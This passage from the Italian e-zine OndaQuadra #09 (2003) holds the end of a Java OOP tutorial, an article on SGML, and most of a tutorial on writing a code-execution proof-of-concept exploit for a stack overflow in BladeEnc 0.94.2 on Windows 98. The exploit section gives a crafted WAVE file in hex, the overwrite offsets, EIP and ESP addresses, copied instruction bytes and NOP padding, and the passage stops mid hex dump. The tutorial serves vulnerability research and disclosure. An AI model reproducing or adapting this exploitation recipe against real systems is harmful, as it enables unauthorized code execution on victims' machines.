| eseguiamo questo codice avremo una stampa a video che ci indichera che |
| il volume della radio è 4 (passaggio di parametro per riferimento). |
| L'overloading di metodi s'intende quando si dichiarano due o più metodi |
| dello stesso tipo ma con un differente numero di parametri. Ad esempio |
| dichiarando |
| |
| (1) void pippo(){return;} |
| (2) void pippo(int par1){return;} |
| se io richiamo il metodo pippo in questo modo pippo(); si riferirà ad |
| (1) mentre se richiamo il metodo in questo modo pippo(3) a (2). |
| |
| E’ arrivato il momento di parlare della tanto famigerata keyword |
| "static". In generale questa parola viene utilizzata per dichiarare i |
| metodi e gli attributi di classe, cioè quei membri che quando vengono |
| istanziati oggetti non si crea una copia in memoria per ognuno di essi, |
| ma solo uno che viene utilizzato da tutti. E’ importante sapere però |
| che |
| i metodi statici non possono richiamare membri non-statici, altrimenti |
| si otterrebbe un errore di compilazione. |
| |
| public class Conta{ |
| static int n; |
| ... |
| public void inc(){ |
| n++; |
| } |
| ... |
| } |
| |
| con il seguente siamo in grado di tenere conto di un’indice che ci |
| permette di creare una sola variabile di classe per Conta ed |
| utilizzarla |
| appunto per contare sfruttando il metodo inc(). |
| |
| ... |
| Conta c = new Conta(); |
| c.inc(); |
| ... |
| |
| |
| Un'ultimo esempio che mostrerò in questo articolo è la creazione di una |
| lista. Una lista potrebbe essere vista come un'insieme di elementi |
| collegati in serie fra di loro tramite un puntatore |
| |
| +---------+ +---------+ +---------+ |
| | root |°| ----> | f0 |°|---->| f1 |°|----> ... -----> null |
| +---------+ +---------+ +---------+ |
| |
| |
| |
| //file item.java |
| |
| public class Item{ |
| private String nome; |
| private String cognome; |
| private String data_nascita; |
| private String residenza; |
| public static int x = 0; |
| public void setItem(String nome, |
| String cognome, String data_nascita, |
| String residenza){ |
| this.nome = nome; |
| this.cognome = cognome; |
| this.data_nascita = data_nascita; |
| this.residenza = residenza; |
| } |
| |
| public String getNome(){ |
| return nome; |
| } |
| |
| public String getCognome(){ |
| return cognome; |
| } |
| |
| public String getData_nascita(){ |
| return data_nascita; |
| } |
| |
| public String getResidenza(){ |
| return residenza; |
| } |
| |
| public void printItem(){ |
| System.out.print("Nome:\t\t\t" + nome); |
| System.out.print("\nCognome:\t\t" + cognome); |
| System.out.print("\nData di nascita:\t" + data_nascita); |
| System.out.print("\nResidenza:\t\t" + residenza + "\n"); |
| } |
| } |
| |
| |
| |
| //file items.java |
| |
| public class Items{ |
| private Item itm = new Item(); |
| public Items next; |
| public static int conta = -1; |
| private int id; |
| Items(){ |
| conta++; |
| id = conta; |
| } |
| public int getId(){ |
| return id; |
| } |
| public static int count(){ |
| System.out.println(conta); |
| return conta; |
| } |
| |
| public void add(Item itm){ |
| next = new Items(); |
| this.itm.setItem(itm.getNome(), |
| itm.getCognome(), itm.getData_nascita(), |
| itm.getResidenza()); |
| |
| } |
| |
| public void print(){ |
| System.out.println("\nID:" + this.id + ""); |
| itm.printItem(); |
| } |
| } |
| |
| |
| //file lista.java |
| |
| public class lista{ |
| public static void main(String[] args){ |
| Items i0 = new Items(); |
| Item itm = new Item(); |
| int i = 0; |
| |
| itm.setItem("Nome0", "Cognome0", "13/09/83", "Lucera"); |
| i0.add(itm); |
| |
| itm.setItem("Nome1", " Cognome1", "23/04/82", "S.Severo"); |
| i0.next.add(itm); |
| |
| itm.setItem("Nome2", " Cognome2", "07/10/84", "Foggia"); |
| i0.next.next.add(itm); |
| |
| i0.print(); |
| i0.next.print(); |
| i0.next.next.print(); |
| i0.count(); |
| } |
| } |
| |
| Ok.. siamo arrivati alla fine di questo articolo. Spero di essere stato |
| abbastanza chiaro e se troverò altro tempo, spiegherò altri argomenti |
| fondamentali dell’OOP tipo l’ereditarietà, polimorfismo. |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| C0S'E' SGML ?? PARLiAM0NE UN P0' [cyberdude] 0x13/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| -=|CYBERDUDE TUTORIAL|=- |
| |
| Ciao ragazzi... questo articolo che vi presento |
| non è molto utile ai fini pratici,ma non è |
| neanche molto difficile per quanto riguarda la |
| comprensione del testo in se per se! |
| A cosa serve? Bhe diciamo che conoscere qualcosa |
| non fa mai male... ad esempio, quanti di voi |
| sanno cosa voglia dire SGML? magari qualcuno tra |
| voi avrà pur sentito questa parola parlando con |
| altre persone e per non far vedere che non si |
| sapeva un bel niente di tale argomento vi |
| prestavate solo a muovere la testa dall'alto al |
| basso per far cenno di aver capito... |
| Vabbè ragazzi, non ci fate caso sto un pò esaurito |
| vediamo invece di cosa parleremo in questo |
| articolo |
| |
| - S - G - M - L - |
| |
| SGML (Standard Generalized Markup Language) è un |
| metalinguaggio per definire linguaggi di tipo |
| markup, ossia linguaggi basati su marcatori. |
| L’HTML (HyperText Markup Language) è un esempio |
| di linguaggio derivato da SGML. SGML fornisce una |
| modalità di codifica dei documenti ipertestuali |
| in modo da renderli indipendenti dalla macchina |
| e dalla loro piattaforma software (purchè tali |
| software siano compatibili con SGML) affinchè |
| sia possibile leggere documenti creati da altri |
| anche se questi sono stati realizzati con |
| applicativi diversi dal nostro. |
| |
| SGML nacque principalmente per due motivi : |
| - Codifica indipendente dalla piattaforma |
| - Minimizzazione dei tempi di trasmissione |
| |
| Le principali caratteristiche di SGML sono: |
| · Permette la creazione di linguaggi markup di |
| tipo descrittivo |
| · I suoi elementi e componenti sono organizzati |
| in una struttura gerarchica con |
| interconnessioni |
| · Non specifica nessun tipo di convenzione del |
| markup, quindi è aperto ad ogni possibile |
| implementazione. |
| · E’ completamente specificato a livello formale |
| · Un documento SGML può essere facilmente letto |
| sia da un computer sia da una persona a patto |
| che entrambi conoscano lo standard. |
| |
| SGML utilizza dei codici (tags) per la |
| descrizione delle varie parti di un documento non |
| preoccupandosi di come questo sarà poi |
| rappresentato (lasciando la scelta delle modalità |
| di rappresentazione totalmente al software che |
| riprodurrà il testo) ma soltanto di specificare |
| che il testo tra le due tags deve essere |
| considerato come un’unità indivisibile. |
| Quindi si separa la rappresentazione della |
| struttura del documento da tutte le istruzioni |
| necessarie alla sua formattazione, permettendo a |
| chi scrive un documento di concentrarsi soltanto |
| sulla sua struttura e sul suo contenuto |
| Un documento SGML può essere formato in alcune |
| sue parti da altri documenti già esistenti (ad |
| esempio può essere necessario un riferimento ad |
| uno di essi). Per evitare di riscrivere |
| completamente un documento esistente, che andrà |
| poi a costituire una parte del nuovo documento, |
| SGML prevede che esso possa essere richiamato |
| all’interno del nuovo documento (con un metodo |
| simile a quello dell’istruzione INCLUDE del |
| linguaggio C) così da evitarne la riscrittura. |
| |
| Con SGML è possibile creare un proprio linguaggio |
| e quindi un proprio set di tags, la cui struttura |
| riflette quella dei documenti che dobbiamo creare |
| Ogni linguaggio creato a partire da SGML |
| utilizzerà la propria DTD (Document Type |
| Definition), contenente il proprio set di tags |
| necessario per la creazione dei propri documenti. |
| La DTD definisce la sintassi del linguaggio, |
| tutti gli attributi permessi per un particolare |
| elemento, i dati che questo potrà contenere e le |
| regole per il loro utilizzo. |
| La descrizione formale della struttura di un |
| documento avviene mediante la sua DTD, che è |
| richiesta per ogni linguaggio creato a partire |
| da SGML. Essa definisce la sintassi di un |
| linguaggio markup specificandone le convenzioni |
| utilizzate nei tags e tutti i possibili markup, |
| definendo il significato ed il contesto in cui |
| possono essere usati. |
| Il markup descrittivo è separato dal testo da |
| opportuni delimitatori di stringa (in HTML sono |
| i simboli ‘<’ e ‘>’). La struttura dei documenti |
| SGML è quindi facilmente comprensibile, e risulta |
| evidente come sia semplice trasportare un |
| documento SGML da una piattaforma all’altra. |
| |
| Un documento SGML consiste in un gruppo di |
| elementi che sono: |
| |
| · Dichiarazione SGML |
| · DTD ( Document Type Definition ) |
| · Caratteristiche degli elementi della |
| DTD che compongono i documenti |
| · Riferimenti a files esterni (entità) |
| · Sezioni opzionali |
| |
| |
| Permette di alterare le convenzioni di markup |
| rispetto a quelle base. Di solito le |
| dichiarazioni SGML vengono poste in files |
| esterni al documento stesso (contenuti in |
| programmi detti browser) ed in quest’ultimo |
| compare soltanto un riferimento alla |
| dichiarazione per permettere al browser di |
| interpretarlo correttamente. |
| DTD: Caratteristiche |
| E’ una descrizione formale della struttura di una |
| particolare classe di documenti. Tipicamente le |
| DTD sono usate per: |
| |
| · Stabilire le regole che governano la |
| struttura dei documenti, definendo così |
| il ‘documento ufficiale’. |
| · Formalizzare le convenzioni di markup |
| per permettere alle varie applicazioni |
| di poter analizzare i documenti |
| conformi a questa DTD. |
| · Permettere agli analizzatori sintattici |
| SGML di verificare se la struttura di |
| un documento è conforme allo standard. |
| · Dichiarare i tipi di dati esterni che |
| possono comparire nei documenti (entità) |
| |
| In sostanza la DTD definisce tutti gli elementi |
| di markup legali per un certo tipo di documento |
| stabilendo tutte le possibili opzioni di questi |
| markup ed il contesto in cui possono comparire. |
| Il nome o la locazione della DTD che governa un |
| certo documento conforme a SGML deve essere |
| specificato nella dichiarazione all’inizio del |
| documento stesso. Un esempio di prologo SGML per |
| un documento HTML, la cui DTD è ‘IETF HTML 2.0 |
| DTD’ è questo: |
| |
| <!DOCTYPE PUBLIC HTML ‘’-//IETF//DTD HTML 2.0//EN’’> |
| |
| Infatti il riferimento alla DTD usata deve essere |
| fatto con la dichiarazione SGML ‘DOCTYPE’. |
| |
| Ogni elemento nella DTD viene realizzato sulla |
| base della sua funzione nel documento SGML. I |
| vari elementi formano un albero creato dalla |
| combinazione di tutti gli elementi e dei loro |
| corrispondenti data models. |
| La sintassi di un elemento comprende il tag di |
| inizio contenente il nome (GI – generic |
| identifier), il contenuto da visualizzare e la |
| terminazione mediante un tag di chiusura ed |
| eventualmente degli attributi che caratterizzano |
| tali elementi. |
| |
| Un attributo fornisce ad un elemento delle |
| informazioni specifiche sul suo uso in un |
| documento SGML, ossia fornisce una certa |
| proprietà ad un elemento. I nomi degli attributi |
| sono dichiarati nella DTD e sono opzionali per |
| gli elementi cui si riferiscono. Un nome di |
| attributo può essere usato da più elementi |
| diversi e, in ogni caso, darà informazioni |
| specifiche per l’elemento cui è associato e non |
| comune agli altri. Ogni attributo ha un valore |
| dichiarato che deve essere anch’esso definito |
| nella DTD. |
| In SGML (e quindi anche in HTML) la sintassi per |
| gli attributi segue le seguenti regole: |
| |
| · Gli attributi possono comparire solo |
| nei tags di inizio. |
| · In un documento SGML ogni attributo ha |
| il nome seguito dal segno ‘=’ e dal |
| valore. |
| · I valori assegnati agli attributi |
| devono stare tra virgolette (es. |
| nomeattributo= ’valoreattributo’). |
| · Gli attributi possono comparire in |
| qualsiasi ordine. |
| |
| Le Entità sono gruppi di dati immagazzinati in |
| opportuni files che vengono usati per spezzare |
| grossi files in parti più piccole e maneggevoli. |
| Il loro utilizzo riguarda l’implementazione di |
| dati uguali in documenti diversi, e la protezione |
| dagli analizzatori sintattici di dati non SGML |
| consentendo di includerli in un documento |
| attraverso un riferimento. Sono anch’essi |
| dichiarati nella DTD. |
| Infine vi sono le sezioni opzionali usate per |
| escludere opzionalmente parti del documento SGML |
| |
| Con questo si conclude il nostro articolo... |
| Saluto tutti voi alla prossima!! |
| |
| Cyberdude >>> www.area91.da.ru |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 |
| SCRiVERE UN EXPL0iT DiM0STRATiV0 [Auriemma Luigi] 0x14/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| ####################################################################### |
| |
| Titolo: Scrivere un exploit dimostrativo di esecuzione di codice su Win |
| Autore: Auriemma Luigi |
| e-mail: aluigi@pivx.com |
| web: http://www.pivx.com/luigi/ |
| |
| ####################################################################### |
| |
| |
| ============ |
| Introduzione |
| ============ |
| |
| |
| Quello che vorrei descrivere in questo articolo, altro non e' che un |
| modo (il piu' semplice possibile) per poter scrivere dei buoni proof |
| of concept per quelle vulnerabilita' che permettono di eseguire codice |
| su una macchina vittima. |
| La vulnerabilita' a cui mi riferisco dovra' avere come requisiti: |
| |
| - possibilita' di utilizzare qualsiasi byte (quindi anche NULL bytes) |
| - deve essere causata dalla lettura non controllata di bytes da un file |
| |
| L'ultimo requisito non e' indispensabile ma e' utile per sapere bene a |
| cosa ci si riferisce in questo articolo perche' l'esempio che proporro' |
| tratta proprio tale problema. |
| |
| Con il termine proof-of-concept intendo un exploit che dimostri che la |
| vulnerabilita' esiste davvero e per fare cio' di solito si cerca di far |
| eseguire al programma vulnerabile un'altra applicazione o (come uso io) |
| far apparire un messaggio di testo od un MessageBox. |
| |
| Per maggiore comprensione riporto come esempio il bug di Bladeenc |
| 0.94.2 (un encoder MP3 multipiattaforma) che ho scoperto e reso |
| pubblico a fine Gennaio 2003, riferendomi esattamente alla versione |
| i586 per Windows scaricabile da qui: |
| http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip |
| (l'MD5 di bladeenc.exe e' 957900f20fa2addff2c15d7ceb64b4cd) |
| |
| L'exploit verra' scritto per girare SOLO su Win98! Per gli altri |
| sistemi operativi Microsoft la procedura e' la stessa, l'unica |
| differenza riguarda gli indirizzi di memoria. |
| |
| Questo "tutorial" non e' stato scritto per persone che abbiano una |
| determinata conoscenza su tali nozioni ma vuole essere abbastanza |
| dettagliato e semplice in modo che chiunque sia minimamente interessato |
| all'argomento non si perda in esempi troppo complicati o in exploit |
| complessi che dipendono da vulnerabilita' ancor piu' complesse. |
| Dopotutto questo genere di exploit di cui parlo e' semplicissimo da |
| realizzare, quindi dopo la prima volta di solito ci vogliono pochi |
| minuti per scrivere un buon dimostrativo senza perderci troppo la |
| testa. |
| Ho preferito essere molto dettagliato con gli esempi e le spiegazioni |
| quindi il documento e' un po' lungo ma penso sia meglio qualche riga in |
| piu' invece che tralasciare qualcosa. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ====================== |
| Cosa bisogna conoscere |
| ====================== |
| |
| |
| Trattandosi di un exploit di esecuzione di codice un requisito |
| fondamentale dovrebbe essere la conoscenza dell'Assembly, ma non c'e' |
| bisogno di conoscerlo a fondo. Dopotuto noi vogliamo un exploit |
| dimostrativo di buon effetto, in poco tempo e con poco lavoro mentale. |
| |
| I registri dei processori x86 che ci interessano al momento sono 2: |
| - EIP (puntatore all'istruzione successiva): esso punta alla posizione |
| del codice in memoria che dovremo eseguire. |
| - ESP (puntatore allo stack): esso punta alla zona dati in memoria. |
| |
| L'EIP ci servira' perche' dovremo sovrascriverlo con l'indirizzo della |
| zona di memoria in cui finira' il nostro codice che vorremo far |
| eseguire sul computer vittima. |
| L'ESP e' appunto il puntatore a questa zona di codice e tramite esso |
| sapremo dove e' finito il nostro codice. |
| |
| Per l'esecuzione del codice invece ci appoggeremo alle funzioni usate |
| dallo stesso programma, quindi anche senza conoscere bene l'Assembly ci |
| bastera' soltanto copiare la parte di codice del programma che ci |
| interessa (ad esempio quella di visualizzazione di una stringa) e |
| cambiare gli indirizzi che usa con quelli a nostra disposizione (ad |
| esempio l'indirizzo in memoria della stringa da visualizzare). |
| Naturalmente l'ultima cosa sara' terminare il programma, ma tutto cio' |
| verra' trattato nelle sezioni successive. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ============= |
| Cosa ci serve |
| ============= |
| |
| |
| - Un disassemblatore: per sapere "cosa" fa' il programma. Esso e' utile |
| soprattutto nel momento in cui vogliamo copiare una funzione gia' |
| usata dal programma vulnerabile e riprodurla nel nostro codice. |
| - Editor esadecimale: essenziale... serve per modificare il file che |
| verra' letto dal programma vulnerabile |
| - Calcolatrice esadecimale: calc di Windows e' perfetta |
| - Bladeenc 0.94.2 i586 per Win: (guardare l'Introduzione) |
| |
| Opzionale: |
| - Un debugger: per poter "seguire" il codice e soprattutto conoscere il |
| valore dei registri x86 e soprattutto per poter scorrere la memoria |
| |
| Sia come disassemblatore che come debugger uso W32Dasm |
| (http://http://members.home.net/w32dasm/) con cui mi trovo molto bene |
| ed e' semplicissimo da usare. Da ricordare che e' SHAREWARE. |
| Come editor esadecimale, uno vale l'altro (XVI32 e' molto comodo e lo |
| si puo' trovare qui: http://www.chmaas.handshake.de) |
| |
| Comunque un debugger davvero eccellente e' il Turbo Debugger 5.5 di |
| Borland che e' free e puo' essere prelevato direttamente dalla mia |
| pagina personale: |
| |
| http://www.pivx.com/luigi/misc/td32-55.zip |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================= |
| Primo passo (cosa non va' in Bladeenc?) |
| ======================================= |
| |
| |
| Il problema di Bladeenc e' nell'utilizzo di un numero intero con segno |
| anziche' di uno unsigned per poter leggere i dati in un file. |
| Cio' comporta che il programma dovra' leggere una porzione di dati ma |
| questa "porzione" potrebbe essere negativa, ossia invece di leggere 80 |
| bytes il programma dovra' leggerne -80. |
| |
| Il problema comunque non e' tanto in questa "svista" quanto nel non |
| controllare che qualcosa e' andato storto in lettura. |
| Nel file samplein.c di Bladeenc, alla funzione myFseek() linea 627 |
| troveremo un bel "fread (dummy, offset, 1, fp);" che non viene |
| controllato. |
| Difatti la funzione fread() ritorna il numero di bytes che sono stati |
| letti, e se essi sono 0 o minori dei bytes che si volevano leggere, |
| vuol dire che la lettura e' fallita o che semplicemente il file e' |
| terminato precocemente. |
| In questo caso e' meglio segnalare l'errore all'utente e far terminare |
| il programma immediatamente. |
| |
| Invece in tutto il programma non c'e' una sola funzione fread() (e |
| non solo essa) che venga controllata, quindi se volete cercare altri |
| bugs che comportino l'esecuzione di codice la cosa potrebbe rivelarsi |
| molto piu' semplice e veloce di quanto pensiate. |
| |
| Insomma avremo in mano un programma che continuera' a leggere |
| imperterrito dati dal file finche' uno di questi dati (una DWORD, ossia |
| 32 bits) sovrascrivera' l'indirizzo di ritorno della funzione |
| myFseek(). |
| Quindi l'ultima riga ("return 0; }") invece di ritornare all'istruzione |
| "fFmtChunkFound = TRUE;" che si trova alla riga 336 del file samplein.c |
| subito dopo la chiamata a myFseek(), ci portera' dritti dritti verso |
| l'indirizzo contenuto nella DWORD che e' stata letta dal file. |
| |
| Questo, grosso modo, e' cio' che accade per colpa di una lettura di |
| troppo e per risparmiare qualche millisecondo di tempo CPU e qualche |
| riga di codice. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ====================================== |
| Secondo passo (preparare il file WAVE) |
| ====================================== |
| |
| |
| Siamo quasi pronti per iniziare, dobbiamo solo realizzare un file WAVE |
| minimale che possa essere letto da Bladeenc. |
| |
| Questo e' quello che ho usato io: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt |
| 0000010: ffff ffff ÿÿÿÿ |
| |
| La struttura di riferimento dei file WAVE e' la seguente: |
| |
| Offset Bytes Funzione |
| 0 4 GroupID: "RIFF" |
| 4 4 Group size: (di solito filesize - 8) |
| 8 4 Riff type: "WAVE" |
| 12 4 ChunkID (il "cattivo" in questo caso e' "fmt ") |
| 16 4 Chunk size: ossia l'"offset" usato in myFseek() |
| ... (il resto non ci interessa) |
| |
| Come possiamo vedere l'unico parametro da cambiare e' il Chunk size del |
| chunk "fmt " che e' proprio la variabile int offset usata dalla |
| funzione vulnerabile myFseek(). |
| |
| Ora non ci resta che aggiungere un po' di bytes al nostro file |
| possibilmente usando caratteri differenti che possano facilmente essere |
| individuabili quando dovremo girare nella memoria dello stack: |
| |
| Ad esempio: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt |
| 0000010: ffff ffff 7175 6573 7465 2072 6967 6865 ÿÿÿÿqueste righe |
| 0000020: 2073 6572 7669 7261 6e6e 6f20 6164 2069 serviranno ad i |
| 0000030: 6465 6e74 6966 6963 6172 6520 6920 6279 dentificare i by |
| 0000040: 7465 7320 6368 6520 6669 6e69 7261 6e6e tes che finirann |
| 0000050: 6f20 6e65 6c6c 6f20 7374 6163 6b20 6564 o nello stack ed |
| 0000060: 2069 6e20 7061 7274 6963 6f6c 6172 6520 in particolare |
| 0000070: 6120 6368 6520 706f 7369 7a69 6f6e 6520 a che posizione |
| 0000080: 7369 2074 726f 7661 206c 6120 4457 4f52 si trova la DWOR |
| 0000090: 4420 6368 6520 736f 7672 6173 6372 6976 D che sovrascriv |
| 00000a0: 6572 6127 206c 2745 4950 2c20 7475 7474 era' l'EIP, tutt |
| 00000b0: 6f20 6368 6961 726f 3f90 9090 9090 9090 o chiaro?....... |
| ....(aggiungete almeno 300 bytes, insomma abbondare non fa' mai male in |
| questo caso) |
| |
| Personalmente quando ho dovuto creare il primo exploit per questo bug |
| ho usato un normale file wave grande 5 Kb (difatti il Groupsize 0x12cc |
| appartiene ad un file wave di 4820 Kb) che ho trovato casualmente nel |
| mio Hard-disk. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ========================================================= |
| Terzo passo (debugging: EIP ed ESP in memoria e sul file) |
| ========================================================= |
| |
| |
| Finalmente si inizia. |
| Abbiamo una minima conoscenza di cosa va' storto in Bladeenc, abbiamo |
| un file wave che fa' comparire il problema, ora cio' che ci manca sono |
| gli indirizzi EIP ed ESP ed i loro "corrispettivi" nel file wave. |
| |
| IMPORTANTE: |
| Questo esempio si basa SOLO su Windows98 in quanto l'ESP cambia da un |
| sistema operativo all'altro (non ci sono differenze tra Win98 prima |
| edizione e special edition). |
| Per gli altri sistemi operativi Microsoft la procedura e' la stessa, |
| l'unica differenza riguarda appunto gli indirizzi di memoria. |
| |
| Come e' stato detto nel "Primo Passo" nel file wave c'e' la DWORD che |
| verra' usata come indirizzo di ritorno dalla funzion myFseek(). |
| |
| Eseguiamo il programma: |
| |
| bladeenc file.wav |
| |
| Se usiamo Win98 comparira' la classica schermata di errore critico con |
| tanto di dump dei valori dei registri del processore. |
| Eccoli tutti quanti: |
| |
| -------------------------------------------------------- |
| BLADEENC ha provocato un errore di pagina non valida nel |
| modulo <sconosciuto> in 0000:63636363. |
| Registri: |
| EAX=00000000 CS=0167 EIP=63636363 EFLGS=00010202 |
| EBX=61616161 SS=016f ESP=0069e888 EBP=007c0770 |
| ECX=00000057 DS=016f ESI=62626262 FS=120f |
| EDX=000001c1 ES=016f EDI=004268a0 GS=0000 |
| Byte all'indirizzo CS:EIP: |
| |
| Immagine dello stack: |
| 64646464 65656565 66666666 67676767 |
| 68686868 69696969 70707070 71717171 |
| 72727272 73737373 74747474 75757575 |
| 76767676 77777777 78787878 79797979 |
| -------------------------------------------------------- |
| |
| Ottimo stavolta siamo stati abbastanza fortunati in quanto il nostro |
| codice si trova proprio dove punta ESP, ma altre volte ci tocchera' |
| spendere 2 minuti in piu' col debugger. |
| |
| Quello che ci interessa e': |
| |
| EIP=63636363 (in quanto io ho usato "cccc") |
| ESP=0069e888 |
| Immagine dello stack: 64646464 65656565 66666666 67676767... |
| |
| Ricordatevi che i processori x86 sono 32bit little-endian, quindi i |
| caratteri che avete usato nel file, in memoria si trovano capovolti di |
| 4 in 4 (ad esempio: "ciao" diventa "oaic", "1234" diventa "4321", |
| "ciccione" diventa "ccicenoi" e cosi' via) |
| |
| L'EIP ci fa' capire dove si trovano i bytes interessati nel nostro file |
| wave, ossia all'indirizzo 0x00000130 (in quanto proprio a quella |
| posizione c'e' "cccc"). |
| ESP, da come si puo' vedere, punta direttamente ai bytes del nostro |
| file che sono finiti in memoria, nulla di piu' facile 8-) |
| Tali bytes iniziano dall'offset 0x00000134 del nostro file wave, |
| proprio subito dopo l'EIP. |
| |
| Ricapitolando, ora abbiamo: EIP, ESP e posizione nel file del codice |
| dimostrativo da eseguire. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================= |
| Se il debugger e' d'obbligo (opzionale) |
| ======================================= |
| |
| |
| Nel caso specifico di Bladeenc non e' necessario usare un debugger in |
| quanto la semplice schermata di errore critico di Win98 ha gia' tutto |
| cio' che ci serve. |
| Se invece nell'immagine dello stack non riconosciamo nessuno dei bytes |
| che abbiamo nel file o piu' semplicemente vogliamo fare un lavoro fatto |
| bene e controllare che tutto sia a posto, dobbiamo avviare il nostro |
| debugger preferito o comunque poter vedere e scorrere la memoria che e' |
| intorno allo stack pointer (0x0069e888 appunto) |
| |
| Usando Wdasm32 non dovremo far nient'altro che lanciare il debug di |
| Bladeenc tramite "Debug->Load Process" inserendo il percorso del nostro |
| file wave. |
| |
| Continuiamo l'esecuzione del programma tramite Run (F9) finche' non ci |
| si para davanti un MessageBox che ci avverte di una "eccezione" e ci |
| mostra l'indirizzo EIP corrente dove si e' verificato il problema. |
| |
| Ora invece di dare il SI od il NO al MessageBox di errore che e' |
| comparso dobbiamo prima mettere in pausa l'esecuzione del programma |
| con il tasto Step Over (F8) o Step Into (F7). Dopodiche' selezioniamo |
| il NO. (NON usate il bottone Pause!) |
| |
| Perfetto abbiamo la posizione di EIP nel nostro file wave che e' |
| 0x00000130 e possiamo vedere nella finestra di W32Dasm a sinistra che |
| dall'indirizzo ESP (0x0069e888) ci sono tutti i bytes che partono da |
| dopo l'indirizzo EIP nel file (ossia da 0x00000134 in poi). |
| |
| Se avete il debugger davanti agli occhi e Win98 dovreste ritrovarvi |
| i miei stessi valori. |
| |
| Se invece dove c'e' [ESP+00000000] non c'e' nessun byte presente nel |
| nostro file, vuol dire che dobbiamo scorrere in giu' con PGDOWN la |
| memoria dello stack (quindi da [ESP+00000004] in poi). |
| |
| Prima o poi troveremo i nostri bytes ed a quel punto non dovremo far |
| nient'altro che eseguire una breve somma, ossia [ESP+indirizzo_bytes]. |
| Il risultato di tale addizione dovra' essere considerato come un |
| "nuovo" indirizzo ESP (per farla breve e' l'indirizzo di memoria dove |
| inizia il nostro codice quanto viene caricato in memoria e che per |
| comodita' preferisco considerarlo come un nuovo indirizzo ESP). |
| |
| Vi assicuro che e' molto piu' difficile da spiegare che da eseguire. |
| |
| |
| |
| ######################

  
################################################# |
| |
| |
| ===================================== |
| Quarto passo (gli ultimi preparativi) |
| ===================================== |
| |
| |
| Ci servono le ultime 2 cose per poter scrivere il nostro codice: |
| |
| - una funzione che visualizzi un messaggio |
| - una funzione per terminare il programma |
| |
| La prima funzione si puo' trovare con un debugger oppure guardando il |
| listato Assembly del programma. |
| Difatti in tutti (o quasi) i programmi c'e' una funzione che mostra a |
| video una stringa se si tratta di un programma per console o di un |
| MessageBox o simile se usa le API di Windows. |
| |
| Il nostro caso vede l'utilizzo di una stringa per console quindi |
| affrettiamoci a trovare una funzione che faccia cio' all'interno del |
| programma. |
| |
| Ci sono diversi metodi per trovarla: |
| |
| - il disassemblatore se e' "serio" ci mostrera' tutte le stringhe che |
| vengono richiamate da ogni funzione di visualizzazione |
| - con l'editor esadecimale troviamo una stringa che sappiamo verra' |
| visualizzata e prendiamo l'offset del primo carattere (che e' sempre |
| preceduto da un byte NULL). |
| Dopodiche' con un semplice convertitore real->virtual address |
| ricaveremo l'indirizzo che tale stringa assumera' in memoria quando |
| il programma verra' eseguito. |
| Non e' compito di questo articolo descrivere l'utilizzo di un |
| programma simile, comunque RVA |
| (http://linux20368.dn.net/protools/files/utilities/rva.zip) vi sara' |
| di prezioso aiuto. |
| |
| La funzione da "copiare" che ci servira' per Blade la troviamo |
| all'indirizzo 0x0040c9e0, dove viene chiamata piu' volte per poter |
| visualizzare diverse linee di testo. |
| Quello che fa' e' semplicissimo in quanto e' un fprintf(): |
| |
| - 0x0040c9e0: carica, all'indirizzo puntato da ESP, il puntatore alla |
| stringa che vogliamo visualizzare |
| - 0x0040c9e7: mette su EAX il puntatore che si trova a 0x00461240 |
| (penso che riguardi la specificazione di stdout) |
| - 0x0040c9ec: crea un puntatore ad EAX all'indirizzo ESP+4 |
| - 0x0040c9f0: finalmente chiama la funzione di visualizzazione |
| |
| Dopodiche' dobbiamo trovare la funzione per terminare il programma e |
| qui ci viene in aiuto KERNEL32.ExitProcess che si trova all'indirizzo |
| 0x00414be0 ed e' uguale ai bytes: ff1524d04100. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ============================================ |
| Quinto passo (impastiamo gli ingredienti...) |
| ============================================ |
| |
| |
| Finalmente abbiamo tutti gli "ingredienti", quindi dobbiamo solo creare |
| l'impasto che nel nostro caso e' il file wave con il codice da eseguire |
| sulla macchina vittima. |
| |
| Per nostra fortuna la semplicita' delle operazioni non comporta |
| l'utilizzo di alcun assembler, quindi dobbiamo solo utilizzare una |
| calcolatrice esadecimale (calc di Win ad esempio) per calcolare gli |
| indirizzi delle stringhe o delle funzioni da chiamare. |
| |
| Per prima cosa pero' inziamo col preparare il nostro file wave nel |
| seguente modo: |
| |
| - all'offset 0x00000130 del nostro file (dove viene sovrascritto l'EIP) |
| inseriremo l'indirizzo di ESP o comunque l'indirizzo dove inizia il |
| nostro codice in memoria (ossia 0x0069e888). |
| IMPORTANTE: i processori x86 utilizzano il metodo little-endian |
| quindi qualsiasi indirizzo andra' scritto invertendo i 4 bytes: |
| 0x0069e888 --> 0x88e86900 |
| - copiamo tutti i bytes che vanno da 0x0040c9e0 a 0x0040c9f5 nel nostro |
| file partendo dall'offset 0x00000134 |
| - copiamo i bytes per terminare l'applicazione: ff1524d04100 |
| - scriviamo un messaggio di qualsiasi lunghezza che termini con un byte |
| NULL finale |
| - puliamo tutto il resto del file usando il byte 0x90 che corrisponde |
| al NOP (no operation, serve per occupare spazio senza eseguire nulla) |
| |
| Il nostro file wave ora dovrebbe essere simile a questo: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt |
| 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ |
| 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
